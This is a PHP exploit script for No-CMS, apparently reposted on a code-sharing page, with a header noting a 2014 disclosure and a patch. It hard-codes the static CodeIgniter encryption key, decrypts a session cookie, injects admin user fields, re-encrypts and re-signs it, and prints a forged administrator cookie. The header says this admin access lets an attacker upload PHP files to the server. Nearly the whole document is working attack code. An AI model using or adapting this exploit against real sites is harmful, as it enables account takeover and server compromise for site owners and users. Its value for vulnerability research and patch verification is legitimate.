扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 |
<?php /* * * Static encryption_key of No-CMS lead to Session Array Injection in order to * hijack administrator account then you will be able for upload php files to * server via theme/module upload. * * This exploit generates cookie for administrator access from non-privileges cookie. * * Full analysis can be found following link. * http://www.mehmetince.net/codeigniter-based-no-cms-admin-account-hijacking-rce-via-static-encryption-key/ * * TIMELINE * * Apr 21, 2014 at 20:17 PM = Vulnerability found. * Apr 22, 2014 at 1:27 AM = First contact with no-cms developers. * Apr 22, 2014 at 1:31 AM = Response from no-cms developer. * Apr 22, 2014 at 2:29AM = Vulnerability confirmed by developers. * Apr 22, 2014 at 04:37 = Vulnerability has been patch via following commit. * https://github.com/goFrendiAsgard/No-CMS/commit/39d6ed327330e94b7a76a04042665dd13f2162bd */ define('KEY', 'namidanoregret'); define('KEYWORD', 'session_id'); function log_message($type = 'debug', $str){ echo PHP_EOL."[".$type."] ".$str; } function show_error($str){ echo PHP_EOL."[error] ".$str.PHP_EOL; exit(0); } function _print($str){ log_message("info", $str.PHP_EOL); } class CI_Encrypt { public $encryption_key = ''; protected $_hash_type = 'sha1'; protected $_mcrypt_exists = FALSE; protected $_mcrypt_cipher; protected $_mcrypt_mode; public function __construct() { $this->_mcrypt_exists = function_exists('mcrypt_encrypt'); log_message('debug', 'Encrypt Class Initialized'); } public function get_key($key = '') { return md5($this->encryption_key); } public function set_key($key = '') { $this->encryption_key = $key; return $this; } public function encode_from_legacy($string, $legacy_mode = MCRYPT_MODE_ECB, $key = '') { if ($this->_mcrypt_exists === FALSE) { log_message('error', 'Encoding from legacy is available only when Mcrypt is in use.'); return FALSE; } elseif (preg_match('/[^a-zA-Z0-9\/\+=]/', $string)) { return FALSE; } $current_mode = $this->_get_mode(); $this->set_mode($legacy_mode); $key = $this->get_key($key); $dec = base64_decode($string); if (($dec = $this->mcrypt_decode($dec, $key)) === FALSE) { $this->set_mode($current_mode); return FALSE; } $dec = $this->_xor_decode($dec, $key); $this->set_mode($current_mode); return base64_encode($this->mcrypt_encode($dec, $key)); } public function _xor_encode($string, $key = '') { if($key === '') $key = $this->get_key(); $rand = ''; do { $rand .= mt_rand(); } while (strlen($rand) < 32); $rand = $this->hash($rand); $enc = ''; for ($i = 0, $ls = strlen($string), $lr = strlen($rand); $i < $ls; $i++) { $enc .= $rand[($i % $lr)].($rand[($i % $lr)] ^ $string[$i]); } return $this->_xor_merge($enc, $key); } public function _xor_decode($string, $key = '') { if($key === '') $key = $this->get_key(); $string = $this->_xor_merge($string, $key); $dec = ''; for ($i = 0, $l = strlen($string); $i < $l; $i++) { $dec .= ($string[$i++] ^ $string[$i]); } return $dec; } protected function _xor_merge($string, $key) { $hash = $this->hash($key); $str = ''; for ($i = 0, $ls = strlen($string), $lh = strlen($hash); $i < $ls; $i++) { $str .= $string[$i] ^ $hash[($i % $lh)]; } return $str; } public function mcrypt_encode($data, $key = '') { if($key === '') $key = $this->get_key(); $init_size = mcrypt_get_iv_size($this->_get_cipher(), $this->_get_mode()); $init_vect = mcrypt_create_iv($init_size, MCRYPT_RAND); return $this->_add_cipher_noise($init_vect.mcrypt_encrypt($this->_get_cipher(), $key, $data, $this->_get_mode(), $init_vect), $key); } public function mcrypt_decode($data, $key = '') { if($key === '') $key = $this->get_key(); $data = $this->_remove_cipher_noise($data, $key); $init_size = mcrypt_get_iv_size($this->_get_cipher(), $this->_get_mode()); if ($init_size > strlen($data)) { return FALSE; } $init_vect = substr($data, 0, $init_size); $data = substr($data, $init_size); return rtrim(mcrypt_decrypt($this->_get_cipher(), $key, $data, $this->_get_mode(), $init_vect), "\0"); } protected function _add_cipher_noise($data, $key) { $key = $this->hash($key); $str = ''; for ($i = 0, $j = 0, $ld = strlen($data), $lk = strlen($key); $i < $ld; ++$i, ++$j) { if ($j >= $lk) { $j = 0; } $str .= chr((ord($data[$i]) + ord($key[$j])) % 256); } return $str; } protected function _remove_cipher_noise($data, $key) { $key = $this->hash($key); $str = ''; for ($i = 0, $j = 0, $ld = strlen($data), $lk = strlen($key); $i < $ld; ++$i, ++$j) { if ($j >= $lk) { $j = 0; } $temp = ord($data[$i]) - ord($key[$j]); if ($temp < 0) { $temp += 256; } $str .= chr($temp); } return $str; } public function set_cipher($cipher) { $this->_mcrypt_cipher = $cipher; return $this; } public function set_mode($mode) { $this->_mcrypt_mode = $mode; return $this; } protected function _get_cipher() { if ($this->_mcrypt_cipher === NULL) { return $this->_mcrypt_cipher = MCRYPT_RIJNDAEL_256; } return $this->_mcrypt_cipher; } protected function _get_mode() { if ($this->_mcrypt_mode === NULL) { return $this->_mcrypt_mode = MCRYPT_MODE_CBC; } return $this->_mcrypt_mode; } public function set_hash($type = 'sha1') { $this->_hash_type = in_array($type, hash_algos()) ? $type : 'sha1'; } public function hash($str) { return hash($this->_hash_type, $str); } } $encryption = new CI_Encrypt(); $encryption->set_key(KEY); // WRITE YOUR OWN COOKIE HERE! $cookie = rawurldecode("DZyb3lI68zh+RBNg8C4M03TEJhMR4BBMzNWA1YUampWQ6UKaiUhG48rwkdfIs9DJYNQc8pZDniflInnUrQz1FbRxueQ3NLCahBBmrTuw8Ib7OL7ycm/IbuR81WEVrWpYOnQ4Z57/w21OCyVw42TjSkXkfWfN67veJr5630eTBA03vRbvLunZ9RLEuElqNrJu/H63yibCv8fyRWNnKs56i5OuU6Dso11O49k4fhxd008WTvsGliLxiErCkWwYfGfcjUA3V2Mh9mkrLk0YEKIbt3hbNXhAnGhIVIVJURhnmibqEFUacB1gP1GnbP2fQy3NpJt317n/3/sH+jH4lM+53IY1HOJh7n/J6RU9jqMr1hdeslDxFaV7SCuB4vPuO7SScec8063aae4808b195d818d86fda1d280ebb06bd"); $len = strlen($cookie) - 40; if ($len < 0) { show_error('The session cookie was not signed.'); } // Check cookie authentication $hmac = substr($cookie, $len); $session = substr($cookie, 0, $len); if ($hmac !== hash_hmac('sha1', $session, KEY)) { show_error('The session cookie data did not match what was expected.'); } // Detect target encryption method and Decrypt session $_mcrypt = $encryption->mcrypt_decode(base64_decode($session)); $_xor = $encryption->_xor_decode(base64_decode($session)); $method = ''; $plain = ''; if (strpos($_mcrypt, KEYWORD) !== false) { _print("Encryption method is mcrypt!"); $method = 'm'; $plain = $_mcrypt; } else if (strpos($_xor, KEYWORD) !== false) { _print("Encryption method is xor!"); $method = 'x'; $plain = $_xor; } else { show_error("something went wrong."); } // Unserialize session string in order to create session array. $session = unserialize($plain); _print("Current Session Array :"); print_r($session).PHP_EOL; // Add extra fields into it $session['cms_user_name'] = 'admin'; $session['cms_user_id'] = 1; // Print out payload string. _print("Payload appended Session Array :"); print_r($session).PHP_EOL; // Serialize it $session = serialize($session); // Encrypt it with same key. if ($method === 'm') $payload = base64_encode($encryption->mcrypt_encode($session)); if ($method === 'x') $payload = base64_encode($encryption->_xor_encode($session)); // Calculation of hmac to add it end of the encrypted session string. $payload .= hash_hmac('sha1', $payload, KEY); _print("New Cookie"); _print($payload); _print("Use Tamper Data and change cookie then push F5!"); |
体验盒子
